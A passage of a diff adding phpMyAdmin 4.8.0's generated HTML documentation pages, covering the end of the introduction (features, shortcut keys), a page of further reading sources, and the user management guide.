+database layout</li> 


 
+<li>search globally in a database or a subset of it</li> 


 
+<li>transform stored data into any format using a set of predefined 


 
+functions, like displaying BLOB-data as image or download-link</li> 


 
+<li>track changes on databases, tables and views</li> 


 
+<li>support InnoDB tables and foreign keys</li> 


 
+<li>support mysqli, the improved MySQL extension see <a class="reference internal" href="faq.html#faq1-17"><span class="std std-ref">1.17 Which Database versions does phpMyAdmin support?</span></a></li> 


 
+<li>create, edit, call, export and drop stored procedures and functions</li> 


 
+<li>create, edit, export and drop events and triggers</li> 


 
+<li>communicate in <a class="reference external" href="https://www.phpmyadmin.net/translations/">80 different languages</a></li> 


 
+</ul> 


 
+</div> 


 
+<div class="section" id="shortcut-keys"> 


 
+<h2>Shortcut keys<a class="headerlink" href="#shortcut-keys" title="Permalink to this headline">¶</a></h2> 


 
+<p>Currently phpMyAdmin supports following shortcuts:</p> 


 
+<ul class="simple"> 


 
+<li>k - Toggle console</li> 


 
+<li>h - Go to home page</li> 


 
+<li>s - Open settings</li> 


 
+<li>d + s - Go to database structure (Provided you are in database related page)</li> 


 
+<li>d + f - Search database (Provided you are in database related page)</li> 


 
+<li>t + s - Go to table structure (Provided you are in table related page)</li> 


 
+<li>t + f - Search table (Provided you are in table related page)</li> 


 
+<li>backspace - Takes you to older page.</li> 


 
+</ul> 


 
+</div> 


 
+<div class="section" id="a-word-about-users"> 


 
+<h2>A word about users<a class="headerlink" href="#a-word-about-users" title="Permalink to this headline">¶</a></h2> 


 
+<p>Many people have difficulty understanding the concept of user 


 
+management with regards to phpMyAdmin. When a user logs in to 


 
+phpMyAdmin, that username and password are passed directly to MySQL. 


 
+phpMyAdmin does no account management on its own (other than allowing 


 
+one to manipulate the MySQL user account information); all users must 


 
+be valid MySQL users.</p> 


 
+<p class="rubric">Footnotes</p> 


 
+<table class="docutils footnote" frame="void" id="f1" rules="none"> 


 
+<colgroup><col class="label" /><col /></colgroup> 


 
+<tbody valign="top"> 


 
+<tr><td class="label">[1]</td><td><em>(<a class="fn-backref" href="#id1">1</a>, <a class="fn-backref" href="#id2">2</a>)</em> phpMyAdmin can compress (<a class="reference internal" href="glossary.html#term-zip"><span class="xref std std-term">Zip</span></a>, <a class="reference internal" href="glossary.html#term-gzip"><span class="xref std std-term">GZip</span></a> or <a class="reference internal" href="glossary.html#term-rfc-1952"><span class="xref std std-term">RFC 1952</span></a> 


 
+formats) dumps and <a class="reference internal" href="glossary.html#term-csv"><span class="xref std std-term">CSV</span></a> exports if you use PHP with 


 
+<a class="reference internal" href="glossary.html#term-zlib"><span class="xref std std-term">Zlib</span></a> support (<code class="docutils literal"><span class="pre">--with-zlib</span></code>). 


 
+Proper support may also need changes in <code class="file docutils literal"><span class="pre">php.ini</span></code>.</td></tr> 


 
+</tbody> 


 
+</table> 


 
+</div> 


 
+</div> 


 
+ 


 
+ 


 
+          </div> 


 
+        </div> 


 
+      </div> 


 
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> 


 
+        <div class="sphinxsidebarwrapper"> 


 
+  <h3><a href="index.html">Table Of Contents</a></h3> 


 
+  <ul> 


 
+<li><a class="reference internal" href="#">Introduction</a><ul> 


 
+<li><a class="reference internal" href="#supported-features">Supported features</a></li> 


 
+<li><a class="reference internal" href="#shortcut-keys">Shortcut keys</a></li> 


 
+<li><a class="reference internal" href="#a-word-about-users">A word about users</a></li> 


 
+</ul> 


 
+</li> 


 
+</ul> 


 
+ 


 
+  <h4>Previous topic</h4> 


 
+  <p class="topless"><a href="index.html" 


 
+                        title="previous chapter">Welcome to phpMyAdmin&#8217;s documentation!</a></p> 


 
+  <h4>Next topic</h4> 


 
+  <p class="topless"><a href="require.html" 


 
+                        title="next chapter">Requirements</a></p> 


 
+  <div role="note" aria-label="source link"> 


 
+    <h3>This Page</h3> 


 
+    <ul class="this-page-menu"> 


 
+      <li><a href="_sources/intro.txt" 


 
+            rel="nofollow">Show Source</a></li> 


 
+    </ul> 


 
+   </div> 


 
+<div id="searchbox" style="display: none" role="search"> 


 
+  <h3>Quick search</h3> 


 
+    <form class="search" action="search.html" method="get"> 


 
+      <div><input type="text" name="q" /></div> 


 
+      <div><input type="submit" value="Go" /></div> 


 
+      <input type="hidden" name="check_keywords" value="yes" /> 


 
+      <input type="hidden" name="area" value="default" /> 


 
+    </form> 


 
+</div> 


 
+<script type="text/javascript">$('#searchbox').show(0);</script> 


 
+        </div> 


 
+      </div> 


 
+      <div class="clearer"></div> 


 
+    </div> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             >index</a></li> 


 
+        <li class="right" > 


 
+          <a href="require.html" title="Requirements" 


 
+             >next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="index.html" title="Welcome to phpMyAdmin’s documentation!" 


 
+             >previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li>  


 
+      </ul> 


 
+    </div> 


 
+    <div class="footer" role="contentinfo"> 


 
+        &#169; <a href="copyright.html">Copyright</a> 2012 - 2018, The phpMyAdmin devel team. 


 
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. 


 
+    </div> 


 
+  </body> 


 
+</html>  
 
158 phpMyAdmin-4.8.0-all-languages/doc/html/other.html 


@@ -0,0 +1,158 @@


 
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 


 
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 


 
+ 


 
+ 


 
+<html xmlns="http://www.w3.org/1999/xhtml"> 


 
+  <head> 


 
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 


 
+     


 
+    <title>Other sources of information &#8212; phpMyAdmin 4.8.0 documentation</title> 


 
+     


 
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" /> 


 
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> 


 
+     


 
+    <script type="text/javascript"> 


 
+      var DOCUMENTATION_OPTIONS = { 


 
+        URL_ROOT:    './', 


 
+        VERSION:     '4.8.0', 


 
+        COLLAPSE_INDEX: false, 


 
+        FILE_SUFFIX: '.html', 


 
+        HAS_SOURCE:  true 


 
+      }; 


 
+    </script> 


 
+    <script type="text/javascript" src="_static/jquery.js"></script> 


 
+    <script type="text/javascript" src="_static/underscore.js"></script> 


 
+    <script type="text/javascript" src="_static/doctools.js"></script> 


 
+    <link rel="index" title="Index" href="genindex.html" /> 


 
+    <link rel="search" title="Search" href="search.html" /> 


 
+    <link rel="copyright" title="Copyright" href="copyright.html" /> 


 
+    <link rel="top" title="phpMyAdmin 4.8.0 documentation" href="index.html" /> 


 
+    <link rel="up" title="User Guide" href="user.html" /> 


 
+    <link rel="next" title="FAQ - Frequently Asked Questions" href="faq.html" /> 


 
+    <link rel="prev" title="Custom Themes" href="themes.html" />  


 
+  </head> 


 
+  <body role="document"> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             accesskey="I">index</a></li> 


 
+        <li class="right" > 


 
+          <a href="faq.html" title="FAQ - Frequently Asked Questions" 


 
+             accesskey="N">next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="themes.html" title="Custom Themes" 


 
+             accesskey="P">previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li> 


 
+          <li class="nav-item nav-item-1"><a href="user.html" accesskey="U">User Guide</a> &#187;</li>  


 
+      </ul> 


 
+    </div>   


 
+ 


 
+    <div class="document"> 


 
+      <div class="documentwrapper"> 


 
+        <div class="bodywrapper"> 


 
+          <div class="body" role="main"> 


 
+             


 
+  <div class="section" id="other-sources-of-information"> 


 
+<h1>Other sources of information<a class="headerlink" href="#other-sources-of-information" title="Permalink to this headline">¶</a></h1> 


 
+<div class="section" id="printed-book"> 


 
+<h2>Printed Book<a class="headerlink" href="#printed-book" title="Permalink to this headline">¶</a></h2> 


 
+<p>The definitive guide to using phpMyAdmin is the book Mastering phpMyAdmin for 


 
+Effective MySQL Management by Marc Delisle. You can get information on that 


 
+book and other officially endorsed <a class="reference external" href="https://www.phpmyadmin.net/docs/">books at the phpMyAdmin site</a>.</p> 


 
+</div> 


 
+<div class="section" id="tutorials"> 


 
+<h2>Tutorials<a class="headerlink" href="#tutorials" title="Permalink to this headline">¶</a></h2> 


 
+<p>Third party tutorials and articles which you might find interesting:</p> 


 
+<div class="section" id="cesky-czech"> 


 
+<h3>Česky (Czech)<a class="headerlink" href="#cesky-czech" title="Permalink to this headline">¶</a></h3> 


 
+<ul class="simple"> 


 
+<li><a class="reference external" href="https://cihar.com/publications/linuxsoft/">Seriál o phpMyAdminovi</a></li> 


 
+</ul> 


 
+</div> 


 
+<div class="section" id="english"> 


 
+<h3>English<a class="headerlink" href="#english" title="Permalink to this headline">¶</a></h3> 


 
+<ul class="simple"> 


 
+<li><a class="reference external" href="http://garv.in/tops/texte/mimetutorial">Having fun with phpMyAdmin&#8217;s MIME-transformations &amp; PDF-features</a></li> 


 
+<li><a class="reference external" href="http://www.php-editors.com/articles/sql_phpmyadmin.php">Learning SQL Using phpMyAdmin (old tutorial)</a></li> 


 
+</ul> 


 
+</div> 


 
+<div class="section" id="russian"> 


 
+<h3>Русский (Russian)<a class="headerlink" href="#russian" title="Permalink to this headline">¶</a></h3> 


 
+<ul class="simple"> 


 
+<li><a class="reference external" href="https://php-myadmin.ru/">Russian server about phpMyAdmin</a></li> 


 
+</ul> 


 
+</div> 


 
+</div> 


 
+</div> 


 
+ 


 
+ 


 
+          </div> 


 
+        </div> 


 
+      </div> 


 
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> 


 
+        <div class="sphinxsidebarwrapper"> 


 
+  <h3><a href="index.html">Table Of Contents</a></h3> 


 
+  <ul> 


 
+<li><a class="reference internal" href="#">Other sources of information</a><ul> 


 
+<li><a class="reference internal" href="#printed-book">Printed Book</a></li> 


 
+<li><a class="reference internal" href="#tutorials">Tutorials</a><ul> 


 
+<li><a class="reference internal" href="#cesky-czech">Česky (Czech)</a></li> 


 
+<li><a class="reference internal" href="#english">English</a></li> 


 
+<li><a class="reference internal" href="#russian">Русский (Russian)</a></li> 


 
+</ul> 


 
+</li> 


 
+</ul> 


 
+</li> 


 
+</ul> 


 
+ 


 
+  <h4>Previous topic</h4> 


 
+  <p class="topless"><a href="themes.html" 


 
+                        title="previous chapter">Custom Themes</a></p> 


 
+  <h4>Next topic</h4> 


 
+  <p class="topless"><a href="faq.html" 


 
+                        title="next chapter">FAQ - Frequently Asked Questions</a></p> 


 
+  <div role="note" aria-label="source link"> 


 
+    <h3>This Page</h3> 


 
+    <ul class="this-page-menu"> 


 
+      <li><a href="_sources/other.txt" 


 
+            rel="nofollow">Show Source</a></li> 


 
+    </ul> 


 
+   </div> 


 
+<div id="searchbox" style="display: none" role="search"> 


 
+  <h3>Quick search</h3> 


 
+    <form class="search" action="search.html" method="get"> 


 
+      <div><input type="text" name="q" /></div> 


 
+      <div><input type="submit" value="Go" /></div> 


 
+      <input type="hidden" name="check_keywords" value="yes" /> 


 
+      <input type="hidden" name="area" value="default" /> 


 
+    </form> 


 
+</div> 


 
+<script type="text/javascript">$('#searchbox').show(0);</script> 


 
+        </div> 


 
+      </div> 


 
+      <div class="clearer"></div> 


 
+    </div> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             >index</a></li> 


 
+        <li class="right" > 


 
+          <a href="faq.html" title="FAQ - Frequently Asked Questions" 


 
+             >next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="themes.html" title="Custom Themes" 


 
+             >previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li> 


 
+          <li class="nav-item nav-item-1"><a href="user.html" >User Guide</a> &#187;</li>  


 
+      </ul> 


 
+    </div> 


 
+    <div class="footer" role="contentinfo"> 


 
+        &#169; <a href="copyright.html">Copyright</a> 2012 - 2018, The phpMyAdmin devel team. 


 
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. 


 
+    </div> 


 
+  </body> 


 
+</html>  
 
188 phpMyAdmin-4.8.0-all-languages/doc/html/privileges.html 


@@ -0,0 +1,188 @@


 
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 


 
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 


 
+ 


 
+ 


 
+<html xmlns="http://www.w3.org/1999/xhtml"> 


 
+  <head> 


 
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 


 
+     


 
+    <title>User management &#8212; phpMyAdmin 4.8.0 documentation</title> 


 
+     


 
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" /> 


 
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> 


 
+     


 
+    <script type="text/javascript"> 


 
+      var DOCUMENTATION_OPTIONS = { 


 
+        URL_ROOT:    './', 


 
+        VERSION:     '4.8.0', 


 
+        COLLAPSE_INDEX: false, 


 
+        FILE_SUFFIX: '.html', 


 
+        HAS_SOURCE:  true 


 
+      }; 


 
+    </script> 


 
+    <script type="text/javascript" src="_static/jquery.js"></script> 


 
+    <script type="text/javascript" src="_static/underscore.js"></script> 


 
+    <script type="text/javascript" src="_static/doctools.js"></script> 


 
+    <link rel="index" title="Index" href="genindex.html" /> 


 
+    <link rel="search" title="Search" href="search.html" /> 


 
+    <link rel="copyright" title="Copyright" href="copyright.html" /> 


 
+    <link rel="top" title="phpMyAdmin 4.8.0 documentation" href="index.html" /> 


 
+    <link rel="up" title="User Guide" href="user.html" /> 


 
+    <link rel="next" title="Relations" href="relations.html" /> 


 
+    <link rel="prev" title="Bookmarks" href="bookmarks.html" />  


 
+  </head> 


 
+  <body role="document"> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             accesskey="I">index</a></li> 


 
+        <li class="right" > 


 
+          <a href="relations.html" title="Relations" 


 
+             accesskey="N">next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="bookmarks.html" title="Bookmarks" 


 
+             accesskey="P">previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li> 


 
+          <li class="nav-item nav-item-1"><a href="user.html" accesskey="U">User Guide</a> &#187;</li>  


 
+      </ul> 


 
+    </div>   


 
+ 


 
+    <div class="document"> 


 
+      <div class="documentwrapper"> 


 
+        <div class="bodywrapper"> 


 
+          <div class="body" role="main"> 


 
+             


 
+  <div class="section" id="user-management"> 


 
+<h1>User management<a class="headerlink" href="#user-management" title="Permalink to this headline">¶</a></h1> 


 
+<p>User management is the process of controlling which users are allowed to 


 
+connect to the MySQL server and what permissions they have on each database. 


 
+phpMyAdmin does not handle user management, rather it passes the username and 


 
+password on to MySQL, which then determines whether a user is permitted to 


 
+perform a particular action. Within phpMyAdmin, administrators have full 


 
+control over creating users, viewing and editing privileges for existing users, 


 
+and removing users.</p> 


 
+<p>Within phpMyAdmin, user management is controlled via the <span class="guilabel">Users</span> link 


 
+from the main page. Users can be created, edited, and removed.</p> 


 
+<div class="section" id="creating-a-new-user"> 


 
+<h2>Creating a new user<a class="headerlink" href="#creating-a-new-user" title="Permalink to this headline">¶</a></h2> 


 
+<p>To create a new user, click the <span class="guilabel">Add a new user</span> link near the bottom 


 
+of the <span class="guilabel">Users</span> page (you must be a &#8220;superuser&#8221;, e.g., user &#8220;root&#8221;). 


 
+Use the textboxes and drop-downs to configure the user to your particular 


 
+needs. You can then select whether to create a database for that user and grant 


 
+specific global privileges. Once you&#8217;ve created the user (by clicking Go), you 


 
+can define that user&#8217;s permissions on a specific database (don&#8217;t grant global 


 
+privileges in that case). In general, users do not need any global privileges 


 
+(other than USAGE), only permissions for their specific database.</p> 


 
+</div> 


 
+<div class="section" id="editing-an-existing-user"> 


 
+<h2>Editing an existing user<a class="headerlink" href="#editing-an-existing-user" title="Permalink to this headline">¶</a></h2> 


 
+<p>To edit an existing user, simply click the pencil icon to the right of that 


 
+user in the <span class="guilabel">Users</span> page. You can then edit their global- and 


 
+database-specific privileges, change their password, or even copy those 


 
+privileges to a new user.</p> 


 
+</div> 


 
+<div class="section" id="deleting-a-user"> 


 
+<h2>Deleting a user<a class="headerlink" href="#deleting-a-user" title="Permalink to this headline">¶</a></h2> 


 
+<p>From the <span class="guilabel">Users</span> page, check the checkbox for the user you wish to 


 
+remove, select whether or not to also remove any databases of the same name (if 


 
+they exist), and click Go.</p> 


 
+</div> 


 
+<div class="section" id="assigning-privileges-to-user-for-a-specific-database"> 


 
+<h2>Assigning privileges to user for a specific database<a class="headerlink" href="#assigning-privileges-to-user-for-a-specific-database" title="Permalink to this headline">¶</a></h2> 


 
+<p>Users are assigned to databases by editing the user record (from the 


 
+<span class="guilabel">Users</span> link on the home page) not from within the <span class="guilabel">Users</span> 


 
+link under the table. If you are creating a user specifically for a given table 


 
+you will have to create the user first (with no global privileges) and then go 


 
+back and edit that user to add the table and privileges for the individual 


 
+table.</p> 


 
+</div> 


 
+<div class="section" id="configurable-menus-and-user-groups"> 


 
+<span id="configurablemenus"></span><h2>Configurable menus and user groups<a class="headerlink" href="#configurable-menus-and-user-groups" title="Permalink to this headline">¶</a></h2> 


 
+<p>By enabling <span class="target" id="index-0"></span><a class="reference internal" href="config.html#cfg_Servers_usergroups"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['usergroups']</span></code></a> and 


 
+<span class="target" id="index-1"></span><a class="reference internal" href="config.html#cfg_Servers_usergroups"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['usergroups']</span></code></a> you can customize what users 


 
+will see in the phpMyAdmin navigation.</p> 


 
+<div class="admonition warning"> 


 
+<p class="first admonition-title">Warning</p> 


 
+<p class="last">This feature only limits what a user sees, he is still able to use all the 


 
+functions. So this can not be considered as a security limitation. Should 


 
+you want to limit what users can do, use MySQL privileges to achieve that.</p> 


 
+</div> 


 
+<p>With this feature enabled, the <span class="guilabel">User accounts</span> management interface gains 


 
+a second tab for managing <span class="guilabel">User groups</span>, where you can define what each 


 
+group will view (see image below) and you can then assign each user to one of 


 
+these groups. Users will be presented with a simplified user interface, which might be 


 
+useful for inexperienced users who could be overwhelmed by all the features 


 
+phpMyAdmin provides.</p> 


 
+<img alt="_images/usergroups.png" src="_images/usergroups.png" /> 


 
+</div> 


 
+</div> 


 
+ 


 
+ 


 
+          </div> 


 
+        </div> 


 
+      </div> 


 
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> 


 
+        <div class="sphinxsidebarwrapper"> 


 
+  <h3><a href="index.html">Table Of Contents</a></h3> 


 
+  <ul> 


 
+<li><a class="reference internal" href="#">User management</a><ul> 


 
+<li><a class="reference internal" href="#creating-a-new-user">Creating a new user</a></li> 


 
+<li><a class="reference internal" href="#editing-an-existing-user">Editing an existing user</a></li> 


 
+<li><a class="reference internal" href="#deleting-a-user">Deleting a user</a></li> 


 
+<li><a class="reference internal" href="#assigning-privileges-to-user-for-a-specific-database">Assigning privileges to user for a specific database</a></li> 


 
+<li><a class="reference internal" href="#configurable-menus-and-user-groups">Configurable menus and user groups</a></li> 


 
+</ul> 


 
+</li> 


 
+</ul> 


 
+ 


 
+  <h4>Previous topic</h4> 


 
+  <p class="topless"><a href="bookmarks.html" 


 
+                        title="previous chapter">Bookmarks</a></p> 


 
+  <h4>Next topic</h4> 


 
+  <p class="topless"><a href="relations.html" 


 
+                        title="next chapter">Relations</a></p> 


 
+  <div role="note" aria-label="source link"> 


 
+    <h3>This Page</h3> 


 
+    <ul class="this-page-menu"> 


 
+      <li><a href="_sources/privileges.txt" 


 
+            rel="nofollow">Show Source</a></li> 


 
+    </ul> 


 
+   </div> 


 
+<div id="searchbox" style="display: none" role="search"> 


 
+  <h3>Quick search</h3> 


 
+    <form class="search" action="search.html" method="get"> 


 
+      <div><input type="text" name="q" /></div> 


 
+      <div><input type="submit" value="Go" /></div> 


 
+      <input type="hidden" name="check_keywords" value="yes" /> 


 
+      <input type="hidden" name="area" value="default" /> 


 
+    </form> 


 
+</div> 


 
+<script type="text/javascript">$('#searchbox').show(0);</script> 


 
+        </div> 


 
+      </div> 


 
+      <div class="clearer"></div> 


 
+    </div> 


 
+    <div class="related" role="navigation" aria-label="related navigation"> 


 
+      <h3>Navigation</h3> 


 
+      <ul> 


 
+        <li class="right" style="margin-right: 10px"> 


 
+          <a href="genindex.html" title="General Index" 


 
+             >index</a></li> 


 
+        <li class="right" > 


 
+          <a href="relations.html" title="Relations" 


 
+             >next</a> |</li> 


 
+        <li class="right" > 


 
+          <a href="bookmarks.html" title="Bookmarks" 


 
+             >previous</a> |</li> 


 
+        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.8.0 documentation</a> &#187;</li> 


 
+          <li class="nav-item nav-item-1"><a href="user.html" >User Guide</a> &#187;</li>  


 
+      </ul> 


 
+    </div> 


 
+    <div class="footer" role="contentinfo"> 


 
+        &#169; <a href="copyright.html">Copyright</a> 2012 - 2018, The phpMyAdmin devel team. 


 
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. 


 
+    </div> 


 
+  </body> 


 